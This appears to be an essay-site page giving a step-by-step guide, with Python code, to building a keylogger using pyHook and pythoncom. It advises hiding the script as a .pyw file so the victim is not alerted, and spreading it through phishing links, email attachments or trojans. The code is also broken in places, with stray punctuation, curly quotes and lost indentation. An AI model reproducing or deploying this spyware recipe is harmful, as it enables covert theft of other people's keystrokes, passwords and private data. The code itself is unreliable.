How to make a Keylogger Virus
Homework help – Write an essay on how to make a Keylogger Virus. Include Code snippets to represent examples.

How to make a Keylogger Virus
A key logger is a virus that can be used to monitor keystrokes on a computer and keeps records of them. It may look like a very harmless tool but in the hands of a cybercriminal, it could be used to steal information from unaware users. It can be installed on devices through online links, webpage scripts, and email attachments (George, 2018). Such a virus can exploit web browser vulnerabilities and sometimes it can infect the system and download malware. To make this virus, there are four very important stepped to follow.
1. Installing python
Unless one already has python on their machine, it is important to install Python 2.7 as well as accompanying modules such as PyHook and Pywin32.
The modules are then imported using the following codes
import logging, sys,
import pythoncom , pyHook

file_log = ‘C:\\imp\\log.txt’

This is to ensure that one can use the modules when coding.
2. Creating the code
First, the logging directory is provided so that the file lies in the same location as the script. In this case, the logging is ‘keyloggeroutput,txt’.
file_log = ‘keyloggeroutput.txt’
Second, the logging configurations are set up.
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’%(message)s’)
There are three parameters within the basicConfig() where the filename can be given.
Next are the key press listeners that mostly record keystrokes as a user performs actions using the machine.
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Once done coding, the file should be saved as .pyw instead of the normal .py extension. This is because keyloggers are meant to operate in discrete and run in the background. If the coder saves the program as a .py it will open up a console window when run. This will alert the user that they are being spied on. However, with a .pyw the program runs undetected in the background.
3. Testing the code
In order to ensure that the code is working, one can open the saved file and carry out a small test. Once the file is open, it is necessary to type a few things first as if everything is normal. Then, the next step involves killing all the python processes on the task manager. On the same directory as the keylogger file, there should be a keyloggeroutput.txt file. This file should contain the details of the typed activity while the python process was on.
4. Running the Code
To run the code, it has to be installed on the target device first. One can decide whether they want to install the program directly into a target’s computer or use online phishing links (Comodo, 2020). To avoid opening the file processes, one should open the command terminal and type python followed by the file name then press enter. When the results of the keylogger are needed, they can be accessed using ‘ C : \ \ imp \ \ log . txt ‘ If the coder cannot access the target device, then they can use email attachments or online links. Trojan horses are a way to disguise keyloggers since most people may fall for them.
In conclusion, a keylogger virus is easy to code and execute. However, it should not be used for malicious purposes as breach of online privacy is a crime. Using the four easy steps, it is easy to create a key logger and use it against the target system.
References
Comodo. (2020). What is a Keylogger: A Brief On a Dangerous and Malicious Tool. Comodo. Retrieved from https://enterprise.comodo.com/what-is-a-keylogger.php
George, J. (2018). Simple Keylogger in Python. Medium. Retrieved from https://medium.com/@jamesgeorge007/simple-keylogger-in-python-3e662d8fda94

Published by
Essays
View all posts